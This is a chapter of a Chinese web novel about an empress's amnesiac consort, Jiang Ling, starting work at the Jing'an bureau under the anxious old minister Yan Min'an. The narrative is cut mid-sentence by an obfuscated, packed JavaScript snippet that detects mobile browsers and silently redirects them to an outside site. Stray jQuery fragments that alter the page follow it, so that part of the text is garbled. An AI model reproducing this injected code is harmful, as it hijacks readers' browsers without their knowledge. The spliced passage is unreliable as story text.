32. 入职

作品:《女帝擒获亡国之君后

    清晨,姜令一人去往江南靖安司。


    掀开轿帘,姜令打量着上京城早间的喧嚣。


    奇怪。


    这满城都是温暖的凡尘烟火,可姜令却感受不到一丝的熟悉。


    仿佛此处是他的异乡。


    那故乡呢?故乡又在何处?


    姜令不知道。


    脑内疯狂想着“故乡”二字,反而头痛非常。


    正如那次,二姑娘将那江南的水貌图给他看时一样,疼痛非常。


    姜令索性不再受苦多想,眼见挂有“靖安司”三个字的牌匾映入眼前,他整了整衣帽,准备下车。


    她再三叮嘱过,会有她的同僚接待他,是一位老臣,他下车后跟着他便可。


    严敏安紧张地有些发抖。


    今早夫人给他做了一大碗素面,平日里起码吃上两碗才罢休,今日他却一口也吃不下去。


    “老头子,你今天是怎么了”妻子见他如食糟糠,都有点怀疑自己的手艺了。


    严敏安捂着头,一晚上没睡好,幸好自己年过花甲,陛下怜惜他,一个月只让他上几日早朝,才不至于硬着头痛赶去皇宫。


    至于让他食不下咽,寝而不眠的原因……


    正是陛下前几日,给他安排了一个比早朝要可怕十倍的活计,搅得他不得安宁。


    严敏安抬眼,看着单纯的妻子,万般的言语,不知该说不该说。


    自己一生只娶妻一人,官绩卓不卓越暂且不谈,他审时度势,于国于民,自认问心无愧,只是前日陛下给他安排的事宜,实在是让这忠厚的老臣为难万分。


    他颤抖地握上妻子和自己一样衰老的手,浑浊的眼里一时有些朦胧的水色。


    “我今日去靖安司,近几日也不会回来了,你和冲儿莫要等我了,每日也休要管我吃食,我要是七日内不回来,你就去我床下拿那把先帝给的‘免罪书’,拿去找陛下,到那个时候,你会知道怎么做的”


    严敏安神情肃穆,一字一顿地对妻子说着。


    严敏安是先帝的功臣,先帝身为女帝主,最初建朝,受到诸多阻碍言语,朝内更是掀起一阵阵反女风潮,有些人猖狂到仿佛有八个脑袋。


    仅有的,像严敏安一类的人,审时度势,一心只管自己一方天地——也就是南边。


    恰逢南边诸城丰收之年,实在是老天垂幸,严敏安得了先帝诸多奖赏,官路明亮平稳。


    他眼见着曾经的老友全家被抄,昔日的状元郎被打入天牢,独自己一个“平庸之辈”反倒历经三朝君主,还得了先帝特赏的“免罪书”。


    如若没有今日可能面临的一桩祸患,严敏安的仕途,简直是平稳明亮得让人眼红。


    他也一直自得其乐。


    虽不知这前朝的免罪书今朝有用可否,但死马当活马医,严敏安只能让自己这老婆子奋力一搏了。


    看着跟了他一生没受过什么罪的老婆子,此时瞠目结舌的苦样,他一时不知说什么才好。


    “老头子,我这心脏不好,你……你别吓我”


    妻子反复抚着心口的位置,似是在顺气,顺了半晌才试探着问道:“你实话说,是不是你前些日子在江南没干好差事,陛下要惩处你了?”


    想了想,又觉得不对。


    “可陛下前几月刚与那江南旧主大婚,如今正是新婚燕尔,江南旧案固然磨人,但也不至于如今要盘算你,把你吓成这般模样吧”


    严敏安一听到江南,更是头痛,一听到那“江南旧主”,此时脸上神色暗了八个度。


    “就是他哟”


    妻子见他一脸烦扰之色,“谁?”


    “就是陛下的皇夫,前几日,陛下……”


    严敏安刚想说些什么,想起陛下告知他的事情——姜令入靖安司一事。


    她让他死也不能告诉任何人。


    妻子没入过仕,自己一向也不多和她谈论这官场琐事,只恐遭口祸之灾,此时说到半头,也不能一下止住,又害得她多想。


    “那江南旧主身体欠佳,陛下近来担忧他身体,我这不是怕,前些日子没办好的差事,陛下清算起来,我这乌纱帽不保嘛……”


    严敏安一边说着,一边还扶了扶自己的帽子,佯装汗颜。


    妻子一个巴掌拍在他那高高的帽檐上,拍得那帽子歪了些许,“你个死老头,吓死我了”


    “你自己杞人忧天,倒是吓得我这老心脏快要吐出来了”,她一面说着,一面按抚着胸口,“你跟着陛下这么多年,她的脾性你还不了解?你如今吓成这般蠢样,哪像个官场老手的模样?”


    “我们这陛下,向来赏罚分明,从不污蔑了谁的,也不会难为谁,你上回江南的差事没办好,陛下也只是责骂你几句,她一向谅你年老体衰,你又有什么好担忧的?好好干你的差事,别想些有的没的吓唬人”


    眼见她还要继续臭骂,严敏安本就头晕脑胀,此时更是憋了一肚子话,不知如何倾吐,索性离开,准备直面恐惧。


    陛下把姜令可以说是交给他,她密信给他,将姜令失忆诸事都告诉了他,严敏安一时脑子转不过来,只觉得肩上陡然落了千斤的重担。


    出门前,他碰到要和自己一样外出的女儿,招了招手,示意她过来。


    严冲走了过来,看着自己爹爹奇怪的神情,“爹,你怎么了,我要去讲学司授课了”


    “乖女儿,讲学司的沈师叔爹早跟他打点好了,你今年讲完他就让你做正学使,以后享正使俸禄,你也能安身立命了,好好干,知道吗?”


    严敏安说完,也不顾女儿一脸懵,又紧捏了捏女儿的手,长叹一口气,扶了扶官帽,朝府外头也不回地走去了。


    男人一席白衣,发束玉冠,长身挺立,眉目俊朗非凡。


    自他走下马车,严敏安的视线,一刻也没离开过他。


    上次见面……


    不,应该是严敏安单方面见他。


    还是在谢辞君凯旋,上京城十里的长街处,严敏安作为百官之一,在城外迎候。


    那时的江南国主,发束尽乱,他一席江南旧服,脚捆着绳索,长身立于囚牢之上,连日的风霜磨得他形销骨立,严敏安居于百官之前,看得非常清楚。


    只是喧嚣的人潮和庆贺之声干扰太多,他并没有把这个人太放在心上,当时满城的人,显然更关心卫国那位战功赫赫的宁国公。


    如今严敏安眼前的姜令,长身玉立,俊美非常,脸上有了润色,贵气逼人。


    “这也不像是重病的样子啊……”严敏安心下想着。


    前几日朝上私下说着,陛下那皇夫重病在床,只是不知为何,过了一月,这些言论就消散了,连那皇夫现今如何也是一点消息也无了。


    再听到他的消息,是前日陛下和自己写的那封密函。


    她想让严敏安好好带着姜令,一同管理江南,姜令作为苏国旧主,对江南旧地的了解和治理,可以说是无可替代的,只要严敏安加以引导,他能成为他的重要帮手。


    严敏安这里自然是不好拒绝的。


    他不擅长交际逢迎,向来只守着自己手中事务,这些日子担心,也是担心自己脾气不好,冲撞了这位贵人。


    这人会是怎样的脾性呢?


    为君者,大多自满傲狂,这是严敏安侍奉了三朝君主得出的结论。


    这并非错事,只是为臣,你于外可以大喊君主仁慈善良,于内,也就是你自己的内心,是万万不能如此想的。


    敢这么想,你这官场就玩完了。


    你要把君主想象成天下最恶毒、最狠辣、最聪明之人,只有这样,你在犯错之前才敢掂量,才有所顾忌。


    毕竟恐惧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333637|195759||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,会教你道理。


    总之,你可以把他们当成各种各样的禽兽,有人面兽心的,有笑面虎的,有蛇蝎心的……


    应有尽有。


    只是面前的姜令,他没接触过,还没摸清他是哪种类型的禽兽。


    相传这江南国主仁善宽和,陛下说他失了记忆,但一些最本质的东西,也就是人骨子里的东西,严敏安觉得不会变。


    他得摸清他的脾性。


    他走下车马,非常恭谨地,给严敏安行了一礼。


    “姜令拜见大人”


    靖安司一般下午开始办事,其实平日里倒是个难得的闲职,干上半日就下值。


    只是陛下收了江南后,实在是忙得晕头转向,加之如今江南叛乱,严敏安所在的靖安司工作量更是翻了十倍不止。


    今日因为姜令的到来,他让那群手下休息一日,众人实在是感激非常。


    严敏安正打算回礼。


    毕竟,他皇夫的身份,给自己行礼,有心之人看了,不知作何解释。


    传到陛下耳朵里,岂不是他骄狂……


    不对。


    陛下密信中好像说过,只要顾惜他身体即可,把他当成靖安司的下属,不要对他身份多加顾虑。


    严敏安唇角轻勾,只觉得陛下思虑倒是周全,确实给他免了许多礼节上的麻烦。


    严敏安扶起姜令,“姜大人无需多礼,你如今是靖安司的副使,按职位来说,我也只比你高上一级,你我上下级称呼便可”


    姜令眼睫轻颤,他不知这靖安司到底是怎样的地方,怎么二姑娘一句话,自己就能获得如此高的职位,眼前老者一袭高官紫袍,自己仅仅居他之下。


    她究竟是怎样的权力地位,能如此轻松地给自己这样大的官职……


    也许是她给自己周转许久,找了许多同僚才求来的呢?


    第二种的可能性很大。


    可是想到是这种情况,姜令更有些难受了。


    分明是他先提出通过这样的方式报答她的恩情,如今倒像是给她增添麻烦,这情,越欠越多了……


    怎么还?


    严敏安见他发愣,“怎么了?”


    “在下有一事想请教严司使”


    严敏安示意他问下去。


    “在下想问,孟姑娘是如何跟司使商议,才将姜某调到贵司行职?”


    严敏安听到姜令的一声“孟姑娘”,差点一口老血喷出来。


    普天之下,估计也只有这位失忆的皇夫殿下,敢这么称呼陛下了。


    “这……你是想问,她是怎样说服我的?”


    严敏安是老狐狸,自然无需姜令多说就能猜出他话中之意。


    姜令点点头。


    他很想知道她怎样把他说服的。


    严敏安想了想信上的内容,一字一句地背着,当然,他背的时候要假装全是自己的话,“当今陛下对江南之地重视非常,欲招揽贤才治理,不论出身,孟姑娘于我有些交情,就推举你前来一试,你若是在这干的不好,她的面子我也是不买的”


    严敏安说完,还装作凶神恶煞的正派样子。


    姜令想起二姑娘给自己看的水防图,她当时还问自己熟悉与否……


    原来是这样。


    那他更要好好干,不辜负她的期望,最好能在此有所建树,留下来,有了薪俸,好还她的恩情。


    严敏安见他一脸凛然,仿佛要在此地施展宏图大志。


    他觉得自己刚才好像说过了头,转而想想,有这样一个精通江南风土人情之人帮助自己,何尝不是给自己减轻好些负担呢?


    这样想想,好像确实没什么好担心的了。


    更何况……


    眼前这个年轻人,好像并不像想象中那般不好相处。


    他脾气未免太好了些。